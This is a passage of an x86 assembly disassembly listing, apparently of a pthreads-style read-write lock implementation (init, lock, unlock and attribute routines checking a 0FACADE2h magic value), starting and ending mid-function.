		xor	esi, esi
		test	eax, eax
		jnz	short loc_432EE2
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432EE2:				; CODE XREF: sub_432ED0+9j
		mov	eax, [esp+4+arg_4]
		push	ebx
		test	eax, eax
		push	edi
		jz	short loc_432F02
		cmp	dword ptr [eax], 0
		jz	short loc_432F02
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432F02:				; CODE XREF: sub_432ED0+1Aj
					; sub_432ED0+1Fj
		push	1Ch
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_432F26
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 0Ch
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432F26:				; CODE XREF: sub_432ED0+43j
		push	0
		push	esi
		mov	dword ptr [esi+0Ch], 0
		mov	dword ptr [esi+10h], 0
		mov	dword ptr [esi+14h], 0
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_432F84
		lea	ebx, [esi+4]
		push	eax
		push	ebx
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_432F7B
		push	eax
		lea	eax, [esi+8]
		push	eax
		call	sub_40154B
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_432F9C
		push	ebx
		call	sub_402252
		add	esp, 4


loc_432F7B:				; CODE XREF: sub_432ED0+8Dj
		push	esi
		call	sub_402252
		add	esp, 4


loc_432F84:				; CODE XREF: sub_432ED0+7Aj
		push	esi
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432F9C:				; CODE XREF: sub_432ED0+A0j
		mov	ecx, [esp+0Ch+arg_0]
		xor	edi, edi
		mov	eax, edi
		mov	dword ptr [esi+18h], 0FACADE2h
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
sub_432ED0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433000:				; CODE XREF: ___:004018BBj
		mov	eax, [esp+4]
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		xor	ebp, ebp
		test	eax, eax
		jz	loc_43313B
		mov	esi, [eax]
		test	esi, esi
		jz	loc_43313B
		cmp	esi, 0FFFFFFFFh
		jz	loc_4330F7
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_43313B
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	loc_433140
		lea	edi, [esi+4]
		push	edi
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_433069
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433069:				; CODE XREF: ___:00433057j
		mov	eax, [esi+10h]
		test	eax, eax
		jg	short loc_4330DD
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+14h]
		cmp	eax, ecx
		jg	short loc_4330DD
		push	edi
		mov	dword ptr [esi+18h], 0
		call	sub_4010C3
		add	esp, 4
		mov	ebx, eax
		test	ebx, ebx
		push	esi
		jz	short loc_4330A0
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4330A0:				; CODE XREF: ___:0043308Fj
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	loc_433140
		mov	ecx, [esp+14h]
		lea	edx, [esi+8]
		push	edx
		mov	[ecx], eax
		call	sub_401AA5
		push	edi
		mov	ebx, eax
		call	sub_402252
		push	esi
		mov	edi, eax
		call	sub_402252
		push	esi
		mov	ebp, eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 10h
		jmp	short loc_433123
; ---------------------------------------------------------------------------


loc_4330DD:				; CODE XREF: ___:0043306Ej
					; ___:00433078j
		push	edi
		call	sub_4010C3
		push	esi
		mov	ebx, eax
		call	sub_4010C3
		add	esp, 8
		mov	edi, eax
		mov	ebp, 10h
		jmp	short loc_433123
; ---------------------------------------------------------------------------


loc_4330F7:				; CODE XREF: ___:00433023j
		push	offset dword_510960
		nop
		call	near ptr 7C901005h
		mov	eax, [esp+14h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_433113
		mov	dword ptr [eax], 0
		jmp	short loc_433118
; ---------------------------------------------------------------------------


loc_433113:				; CODE XREF: ___:00433109j
		mov	ebx, 10h


loc_433118:				; CODE XREF: ___:00433111j
		push	offset dword_510960
		nop
		call	near ptr 7C9010EDh


loc_433123:				; CODE XREF: ___:004330DBj
					; ___:004330F5j
		test	ebx, ebx
		jz	short loc_43312E
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43312E:				; CODE XREF: ___:00433125j
		test	edi, edi
		mov	eax, edi
		jnz	short loc_433140
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43313B:				; CODE XREF: ___:00433010j
					; ___:0043301Aj ...
		mov	eax, 16h


loc_433140:				; CODE XREF: ___:00433041j
					; ___:004330AAj ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4331B0:				; CODE XREF: ___:00401EA6j
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_4331D3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4331D3:				; CODE XREF: ___:004331C2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433200:				; CODE XREF: ___:0040179Ej
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_433221
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_433221
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433221:				; CODE XREF: ___:00433209j
					; ___:0043320Fj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433240:				; CODE XREF: ___:00401136j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43325D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43325D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_43325D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_43325D:				; CODE XREF: ___:00433246j
					; ___:0043324Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433280:				; CODE XREF: ___:004015A5j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_4332AA
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_4332AA
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_43329E
		test	eax, eax
		jnz	short loc_4332AA
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_43329E:				; CODE XREF: ___:00433295j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_4332AA:				; CODE XREF: ___:00433286j
					; ___:0043328Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4332C0:				; CODE XREF: ___:00402095j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43337A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43337A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4332F4
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_4332F4
		cmp	eax, 10h
		jnz	loc_43337F


loc_4332F4:				; CODE XREF: ___:004332DCj
					; ___:004332E9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43337A
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_43337F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43336D
		lea	edi, [esi+4]
		push	edi
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_43333D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43333D:				; CODE XREF: ___:0043332Cj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43336D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43336D:				; CODE XREF: ___:0043331Aj
					; ___:0043335Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43337A:				; CODE XREF: ___:004332C9j
					; ___:004332D3j ...
		mov	eax, 16h


loc_43337F:				; CODE XREF: ___:004332EEj
					; ___:0043330Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4333D0:				; CODE XREF: ___:004016A4j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43349F
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43349F
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433404
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_433404
		cmp	eax, 10h
		jnz	loc_4334A4


loc_433404:				; CODE XREF: ___:004333ECj
					; ___:004333F9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_43349F
		mov	ebx, [esp+14h]
		push	ebx
		push	esi
		call	sub_401BD6
		add	esp, 8
		test	eax, eax
		jnz	short loc_4334A4
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_433492
		lea	edi, [esi+4]
		push	ebx
		push	edi
		call	sub_401BD6
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_433462
		cmp	ebx, 274Ch
		jnz	short loc_433453
		inc	dword ptr [esi+14h]


loc_433453:				; CODE XREF: ___:0043344Ej
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433462:				; CODE XREF: ___:00433446j
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_433492
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433492:				; CODE XREF: ___:00433433j
					; ___:00433481j
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43349F:				; CODE XREF: ___:004333D9j
					; ___:004333E3j ...
		mov	eax, 16h


loc_4334A4:				; CODE XREF: ___:004333FEj
					; ___:00433423j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4334F0:				; CODE XREF: ___:004015D2j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_4335E6
		mov	eax, [esi]
		test	eax, eax
		jz	loc_4335E6
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433527
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_433527
		cmp	eax, 10h
		jnz	loc_4335EB


loc_433527:				; CODE XREF: ___:0043350Fj
					; ___:0043351Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_4335E6
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	loc_4335EB
		lea	ebp, [esi+4]
		push	ebp
		call	sub_402248
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43356B
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43356B:				; CODE XREF: ___:00433557j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_4335DA
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_433588
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_433588:				; CODE XREF: ___:00433577j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_4335DA
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401861
		push	eax
		call	sub_401663
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_4335AB:				; CODE XREF: ___:004335C0j
		push	ebp
		push	ebx
		call	sub_401203
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_4335C2
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_4335AB


loc_4335C2:				; CODE XREF: ___:004335B9j
		xor	ecx, ecx
		test	edi, edi
		setnz	cl
		push	ecx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_4335DD
		mov	[esi+0Ch], edi


loc_4335DA:				; CODE XREF: ___:00433570j
					; ___:0043358Dj
		inc	dword ptr [esi+10h]


loc_4335DD:				; CODE XREF: ___:004335D5j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4335E6:				; CODE XREF: ___:004334FCj
					; ___:00433506j ...
		mov	eax, 16h


loc_4335EB:				; CODE XREF: ___:00433521j
					; ___:00433541j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433650:				; CODE XREF: ___:00401960j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_433751
		mov	eax, [esi]
		test	eax, eax
		jz	loc_433751
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433687
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_433687
		cmp	eax, 10h
		jnz	loc_433756


loc_433687:				; CODE XREF: ___:0043366Fj
					; ___:0043367Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_433751
		mov	edi, [esp+20h]
		push	edi
		push	esi
		call	sub_401BD6
		add	esp, 8
		test	eax, eax
		jnz	loc_433756
		lea	ebp, [esi+4]
		push	edi
		push	ebp
		call	sub_401BD6
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_4336D1
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4336D1:				; CODE XREF: ___:004336BDj
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_433745
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_4336EE
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_4336EE:				; CODE XREF: ___:004336DDj
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_433745
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401861
		push	eax
		call	sub_401663
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_433711:				; CODE XREF: ___:0043372Bj
		mov	ecx, [esp+24h]
		push	ecx
		push	ebp
		push	ebx
		call	sub_4011E0
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_43372D
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_433711


loc_43372D:				; CODE XREF: ___:00433724j
		xor	edx, edx
		test	edi, edi
		setnz	dl
		push	edx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_433748
		mov	[esi+0Ch], edi


loc_433745:				; CODE XREF: ___:004336D6j
					; ___:004336F3j
		inc	dword ptr [esi+10h]


loc_433748:				; CODE XREF: ___:00433740j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_433751:				; CODE XREF: ___:0043365Cj
					; ___:00433666j ...
		mov	eax, 16h


loc_433756:				; CODE XREF: ___:00433681j
					; ___:004336A6j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4337B0:				; CODE XREF: ___:004015C8j
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	short loc_433836
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_433836
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4337CC
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4337CC:				; CODE XREF: ___:004337C4j
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_433836
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_433814
		lea	ebx, [esi+4]
		push	ebx
		call	sub_402248
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_4337F2
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4337F2:				; CODE XREF: ___:004337ECj
		mov	eax, [esi+14h]
		inc	eax
		mov	[esi+14h], eax
		jnz	short loc_433809
		add	esi, 8
		push	esi
		call	sub_401E6F
		add	esp, 4
		mov	edi, eax


loc_433809:				; CODE XREF: ___:004337F9j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		jmp	short loc_43382C
; ---------------------------------------------------------------------------


loc_433814:				; CODE XREF: ___:004337DAj
		dec	eax
		mov	[esi+10h], eax
		lea	eax, [esi+4]
		push	eax
		call	sub_4010C3
		push	esi
		mov	edi, eax
		call	sub_4010C3
		add	esp, 8


loc_43382C:				; CODE XREF: ___:00433812j
		test	edi, edi
		jz	short loc_43383B
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433836:				; CODE XREF: ___:004337B9j
					; ___:004337BFj ...
		mov	eax, 16h


loc_43383B:				; CODE XREF: ___:0043382Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433870:				; CODE XREF: ___:0040153Cj
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43392A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43392A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4338A4
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_4338A4
		cmp	eax, 10h
		jnz	loc_43392F


loc_4338A4:				; CODE XREF: ___:0043388Cj
					; ___:00433899j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43392A
		push	esi
		call	sub_401785
		add	esp, 4
		test	eax, eax
		jnz	short loc_43392F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43391D
		lea	edi, [esi+4]
		push	edi
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_4338ED
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4338ED:				; CODE XREF: ___:004338DCj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43391D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43391D:				; CODE XREF: ___:004338CAj
					; ___:0043390Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43392A:				; CODE XREF: ___:00433879j
					; ___:00433883j ...
		mov	eax, 16h


loc_43392F:				; CODE XREF: ___:0043389Ej
					; ___:004338BAj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433980:				; CODE XREF: ___:00401FF0j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_433A61
		mov	eax, [esi]
		test	eax, eax
		jz	loc_433A61
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4339B4
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_4339B4
		cmp	eax, 10h
		jnz	loc_433A66


loc_4339B4:				; CODE XREF: ___:0043399Cj
					; ___:004339A9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_433A61
		push	esi
		call	sub_401785
		add	esp, 4
		test	eax, eax
		jnz	loc_433A66
		lea	ebx, [esi+4]
		push	ebx
		call	sub_401785
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_4339F9
		push	esi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	short loc_433A66
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4339F9:				; CODE XREF: ___:004339E4j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_433A49
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_433A16
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_433A16:				; CODE XREF: ___:00433A05j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_433A54
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	edi, eax
		test	edi, edi
		push	esi
		jz	short loc_433A3B
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433A3B:				; CODE XREF: ___:00433A2Bj
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_433A4E


loc_433A49:				; CODE XREF: ___:004339FEj
		mov	edi, 10h


loc_433A4E:				; CODE XREF: ___:00433A47j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433A54:				; CODE XREF: ___:00433A1Bj
		mov	eax, edi
		mov	dword ptr [esi+10h], 1
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433A61:				; CODE XREF: ___:00433989j
					; ___:00433993j ...
		mov	eax, 16h


loc_433A66:				; CODE XREF: ___:004339AEj
					; ___:004339CEj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433AB0:				; CODE XREF: ___:00401C0Dj
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_433AC7
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_433AC7:				; CODE XREF: ___:00433ABFj
		mov	eax, [esp+8]
		neg	eax
		sbb	eax, eax
		and	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433AF0:				; CODE XREF: ___:00401EB5j
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433B17
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_433B17
		cmp	eax, 2
		jbe	short loc_433B17
		mov	dword ptr [eax], 0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_433B17:				; CODE XREF: ___:00433AFFj
					; ___:00433B07j ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433B30:				; CODE XREF: ___:0040117Cj
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		push	ebx
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433B76
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_433B76
		mov	esi, [edi]
		push	eax
		call	sub_401555
		add	esp, 4
		cmp	esi, eax
		jl	short loc_433B76
		push	0
		call	sub_401442
		add	esp, 4
		cmp	esi, eax
		jg	short loc_433B76
		mov	eax, [ebx]
		mov	ecx, [edi]
		pop	edi
		pop	esi
		mov	[eax+10h], ecx
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433B76:				; CODE XREF: ___:00433B42j
					; ___:00433B4Aj ...
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433BA0:				; CODE XREF: ___:00401EFBj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433BC5
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433BC5
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+10h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_433BC5:				; CODE XREF: ___:00433BB0j
					; ___:00433BB8j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433BE0:				; CODE XREF: ___:004015BEj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_433BF9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433BF9:				; CODE XREF: ___:00433BF0j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433C0D
		cmp	eax, 1
		jz	short loc_433C0D
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433C0D:				; CODE XREF: ___:00433BFFj
					; ___:00433C04j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+14h], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433C30:				; CODE XREF: ___:004019E7j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433C55
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433C55
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+14h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_433C55:				; CODE XREF: ___:00433C40j
